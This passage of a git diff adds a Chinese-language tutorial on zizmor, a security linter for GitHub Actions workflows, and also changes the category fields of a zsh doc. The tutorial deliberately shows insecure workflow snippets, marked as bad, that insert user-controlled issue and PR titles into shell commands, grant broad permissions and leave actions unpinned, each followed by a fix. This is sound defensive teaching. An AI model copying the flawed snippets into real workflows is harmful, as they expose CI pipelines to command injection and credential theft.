+- **离线（默认）**：不设置 token 时，只分析本地已 checkout 的文件；多数规则（`template-injection`、`unpinned-uses`、`dangerous-triggers` 等）**离线可用**。
+- **在线**：提供 `GH_TOKEN` 后可拉远程仓库、查 action 是否归档、提高 `typosquat-uses` 等规则的置信度。
+- **`--offline`**：即使设置了 token 也强制纯离线。
+
+对日常开发：**本地 pre-commit / PR 前跑 `zizmor .` 通常不需要 token**。
+
+### 3. Persona（审计人格）
+
+| Persona | 行为 |
+|---------|------|
+| `regular`（默认） | 高信噪比，只报较有把握的 issue |
+| `pedantic` | 更严格，例如 `template-injection` 会标记所有代码上下文里的 `${{ }}` |
+| `auditor` | 最激进，适合安全审计或基线建立 |
+
+CLI：`-p` / `--pedantic`，或 `--persona auditor`。还可配合 `--min-severity`、`--min-confidence` 过滤输出。
+
+### 4. 审计规则（Audits）
+
+官方文档列出 **三十余条** 规则，覆盖 workflow、composite action、Dependabot 配置。常见几类：
+
+| 规则 ID | 关注点 |
+|---------|--------|
+| `dangerous-triggers` | `pull_request_target`、`workflow_run` 等高危触发器 |
+| `template-injection` | `${{ }}` 进入 shell 的注入面 |
+| `artipacked` | checkout 后 token 落盘、artifact 泄露 |
+| `excessive-permissions` | workflow/job 权限过大或未最小化 |
+| `unpinned-uses` | action 引用未钉 SHA |
+| `unpinned-images` | 容器镜像使用可变 tag |
+| `cache-poisoning` | 发布流程误用可被投毒的 build cache |
+| `bot-conditions` | 用 `github.actor` 冒充 Dependabot 等 |
+| `typosquat-uses` | `action/checkout` 类拼写劫持 |
+| `adhoc-packages` | `run: npm install foo` 无 lockfile |
+| `dependabot-cooldown` | Dependabot 未配置更新冷却期 |
+
+每条规则文档页有 **Before / After** 示例、是否支持 `--fix`、是否可写 `zizmor.yml` 覆盖策略。
+
+### 5. 输出与集成
+
+| `--format` | 用途 |
+|------------|------|
+| `plain`（默认） | 终端人类可读 |
+| `github` | GitHub Actions 注解，无需 Advanced Security |
+| `sarif` | 上传 Code Scanning / Advanced Security |
+| `json` / `json-v1` | 自定义流水线消费 |
+
+**实验性自动修复**：`zizmor --fix`（及 `safe` / `unsafe-only` / `all` 模式）可自动改部分 finding（如 `template-injection`、`artipacked`）。
+
+**配置**：可选 `zizmor.yml` / `.github/zizmor.yml`，支持按规则 `disable`、为 `unpinned-uses` 配置 `policies`（例如允许 `actions/*` 使用 tag）。行内可用 `# zizmor: ignore[rule-id]` 忽略单条。
+
+### 6. 静态分析的边界（必读）
+
+文档明确两点限制：
+
+1. **不执行代码**——无法知道 `matrix.os` 运行时到底是什么，只能对表达式做保守分析。
+2. **只审计定义文件**——`run: ./scripts/build.sh` 里的 shell 脚本内容**不会**被深入分析，除非脚本直接写在 workflow YAML 里。
+
+因此：zizmor 是 **CI 设计审查**，不能替代对业务脚本、第三方 action 内部逻辑的手工审计或动态测试。
+
+## 代码示例
+
+### 示例 1：修复模板注入（`template-injection`）
+
+**问题写法**：把用户可控的 issue 标题直接插进 shell，攻击者可构造标题注入额外命令。
+
+```yaml
+# ❌ zizmor 会报 template-injection
+- name: Check title
+  run: |
+    title="${{ github.event.issue.title }}"
+    if [[ ! $title =~ ^.*:\ .*$ ]]; then
+      echo "Bad issue title"
+      exit 1
+    fi
+```
+
+**推荐写法**：模板展开放进 `env:`，shell 里用普通变量（注意不要用 `${{ env.ISSUE_TITLE }}`，那仍是模板展开）：
+
+```yaml
+# ✅ 由 shell 做变量展开，受引号保护
+- name: Check title
+  run: |
+    title="${ISSUE_TITLE}"
+    if [[ ! $title =~ ^.*:\ .*$ ]]; then
+      echo "Bad issue title"
+      exit 1
+    fi
+  env:
+    ISSUE_TITLE: ${{ github.event.issue.title }}
+```
+
+Windows runner 上若用 PowerShell，变量语法不同；跨平台时可设 `shell: bash` 统一行为。
+
+### 示例 2：最小权限 + 钉死 action + 不持久化凭证
+
+下面是一段「安全基线」风格的 fragment，同时回应 `excessive-permissions`、`unpinned-uses`、`artipacked` 多条规则：
+
+```yaml
+name: CI
+
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+# 工作流级默认零权限，各 job 按需开启
+permissions: {}
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+        with:
+          persist-credentials: false
+
+      - name: Run tests
+        run: npm ci && npm test
+```
+
+对比**常见隐患写法**：
+
+```yaml
+# ❌ 工作流级宽泛权限；checkout 未关 persist-credentials；uses 仅 tag
+permissions:
+  contents: write
+  pull-requests: write
+
+steps:
+  - uses: actions/checkout@v4
+  - run: echo "${{ github.event.pull_request.title }}"
+```
+
+第一处触发 `excessive-permissions`；第二处 `artipacked`；第三处同时有 `unpinned-uses` 与 `template-injection` 风险。
+
+### 示例 3：在 GitHub Actions 里集成（SARIF）
+
+公开仓库或已购买 Advanced Security 的私有仓库，可用官方 [zizmor-action](https://github.com/zizmorcore/zizmor-action) 或手写步骤：
+
+```yaml
+name: GitHub Actions Security Analysis
+
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+permissions:
+  security-events: write
+  contents: read
+  actions: read
+
+jobs:
+  zizmor:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+        with:
+          persist-credentials: false
+
+      - name: Run zizmor
+        run: uvx zizmor --format=sarif . > results.sarif
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+
+      - name: Upload SARIF
+        uses: github/codeql-action/upload-sarif@7211b7c8077ea37d8641b6271f6a365a22a5fbfa # v4
+        with:
+          sarif_file: results.sarif
+          category: zizmor
+```
+
+没有 Advanced Security 时，可改用 `--format=github` 在 PR 里显示注解，无需 `security-events: write`。
+
+### 示例 4：项目级配置 `zizmor.yml`
+
+在 monorepo 或需要允许部分 namespace 用 tag 时：
+
+```yaml
+# .github/zizmor.yml
+rules:
+  unpinned-uses:
+    config:
+      policies:
+        # 官方 actions 组织允许 ref-pin（@v4），第三方仍要求 SHA
+        actions/*: ref-pin
+        # 自家内部 action 允许 tag
+        my-org/*: ref-pin
+```
+
+配合 CLI：`zizmor --persona regular .`，对暂时接受的 finding 用 `# zizmor: ignore[unpinned-uses]` 并写明理由，避免静默烂掉。
+
+## 与相近工具的关系
+
+| 工具 | 扫描对象 | 与 zizmor 的关系 |
+|------|----------|------------------|
+| [[gitleaks]] | 仓库中的密钥字符串 | 互补：秘密是否**进库** |
+| GitHub CodeQL | 多语言源码 | 互补：应用代码漏洞 |
+| actionlint | workflow 语法/类型 | 可并用：actionlint 偏语法，zizmor 偏**安全语义** |
+| Dependabot / Renovate | 依赖版本更新 | zizmor 还能审 `dependabot.yml` 的 cooldown 等策略 |
+
+推荐流水线顺序：**actionlint（快）→ zizmor（安全）→ 测试 job**。本地可用 [pre-commit](https://docs.zizmor.sh/integrations/) hook 在提交前拦截。
+
+## 学习路径建议
+
+1. **Quickstart**：对自家仓库跑 `zizmor .`，先不加 `-p`，熟悉输出格式。
+2. **读规则目录**：浏览 [Audit Rules](https://docs.zizmor.sh/audits/)，重点 `dangerous-triggers`、`template-injection`、`artipacked`、`unpinned-uses`。
+3. **修一轮**：对可自动修复项试 `zizmor --fix=safe .`，其余手工改并写 `zizmor.yml` / ignore 注释。
+4. **接入 CI**：从 `--format=github` 注解模式起步，有条件再上 SARIF + Security 面板。
+5. **建立基线**：用 `--persona auditor` 扫一遍，把真实误报记入配置，而不是永久 `--no-ignores`。
+
+## 常见坑
+
+- **以为离线扫远程 fork PR 足够**：离线只分析**当前 checkout 的 YAML**；要扫 PR 里改的 workflow，必须在 CI 里对 PR 分支 checkout 后再跑 zizmor。
+- **误用 `${{ env.X }}` 修注入**：在 `run:` 里仍属模板展开，应改用 `$X` / `${X}`。
+- **只钉第三方 action**：v1.20+ 默认要求**全部** `uses` SHA 钉死；需要放宽时在 `zizmor.yml` 写 policy。
+- **忽略 `pull_request_target`**：「我们不 checkout PR 代码就安全」是错的；参数注入、环境变量、`workflow_run` 等仍有攻击面——以官方 dangerous-triggers 文档为准。
+- **把 zizmor 当万能**：composite action 引用的外部脚本、运行时下载的 action 内容，静态阶段都看不到。
+
+## 资源
+
+- 官网与文档：[zizmor.sh](https://zizmor.sh/) · [docs.zizmor.sh](https://docs.zizmor.sh/)
+- 源码：[zizmorcore/zizmor](https://github.com/zizmorcore/zizmor)（MIT，Rust）
+- GitHub Action 封装：[zizmorcore/zizmor-action](https://github.com/zizmorcore/zizmor-action)
+- 安装方式汇总：[Installation](https://docs.zizmor.sh/installation/)（Homebrew、uvx、pip、cargo、GitHub Releases 等）
+- 背景阅读：GitHub Security Lab 的 Actions 安全系列；ArtiPACKED 论文讨论 artifact 与 git 凭证竞态
+
+## 小结
+
+zizmor 把 GitHub Actions 领域里反复出现的 CI/CD 设计错误，沉淀成可离线运行、可接 SARIF 的规则集。对零基础使用者：先把它当成 **「workflow YAML 的安全 linter」**，从 `zizmor .` 开始，理解 **静态边界**，再逐步收紧 **权限、钉版本、模板与触发器** 四条主线，就能在不动 runner 的前提下，显著降低 Pwn Request 与供应链漂移风险。
diff --git a/src/content/docs/projects/zsh.md b/src/content/docs/projects/zsh.md
index adc332500..9b9bb6ccd 100644
--- a/src/content/docs/projects/zsh.md
+++ b/src/content/docs/projects/zsh.md
@@ -2,8 +2,8 @@
 title: zsh — 比 bash 更聪明的兼容派 shell
 来源: https://github.com/zsh-users/zsh
 日期: 2026-05-31
-子分类: 命令行工具
-分类: CLI
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 入门
 provenance: pipeline-v3
 ---